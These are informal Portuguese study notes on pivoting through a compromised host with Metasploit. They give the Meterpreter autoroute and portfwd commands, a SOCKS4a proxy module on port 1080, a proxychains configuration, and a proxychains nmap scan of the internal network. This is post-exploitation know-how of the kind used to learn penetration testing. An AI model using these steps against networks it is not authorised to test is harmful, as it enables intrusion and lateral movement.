vê a tabela de rotiamento para verificar se tem rota para uma outra rede e tentar
fazer pivolt para essa
rede migrar para ela.
E como podemos fazer isso o própio metasploit já possui vários métods para
facilitar isso
podemos usar determinado comando como: run autoroute -s(passa a rede que queremos
se comunicar passa a rota exemplo 10.10.20.0/24)
para a gente visualisar a nossa rota podemos usar: run autoroute -p
posso dar um background no meterpreter e usar um módulo auxiliar para varrer a rede
o
use auxiliary/server/socks4a isso vai fornecer um proxy, o que a gente vai fazer
aqui a gente vai abrir a porta
1080 para fechar um proxy aqui e vamos ultilizar o proxy chains que é um prgrama
para a gente se comunicar com essa rede da nossa
maquina local então se eu vim na minha maquina e verificar as portas que estão
rodando com netstat -nlpt não vou ter nenhuma
porta aberta, a parti do momento que eu subir esse servidor proxy vai abrir a porta
1080 eu dou um run no auxiliary agora
vai ter a porta 1080 rodando localmente na minha maquina então posso vim em nano
/etc/proxychains.conf e no final da linha
podemos fazer a configuração por default ele tá para usar o tor dai edita o socks4
para porta 1080 que é o nosso porxy
feito isso já estou pronto para se comunicar através do proxychains e agora eu
consigo me comunicar diretamente com aquela rede
agora posso fazer uma varredura para tentar encontrar mais hosts naquela rede
interna
exemplo:
proxychains nmap e etc
Depois que varreu a rede e encontrou outros hosts posso fazer um tunelamento volto
para a sessão
e vou fazer um tunelamento fazer uma configuração para redirecionar a porta
comando:
portfwd add -l(porta local) 110 -p(porta remota)110 -r(alvo host ip do alvo)
E o que to fazendo aqui um tunelamento para minha maquina local, agora se eu
escaniar minha porta localmente usando meu própio
ip por que a gente fez um tunelamento para nossa maquina, a gente vai conseguir
informações da rede do alvo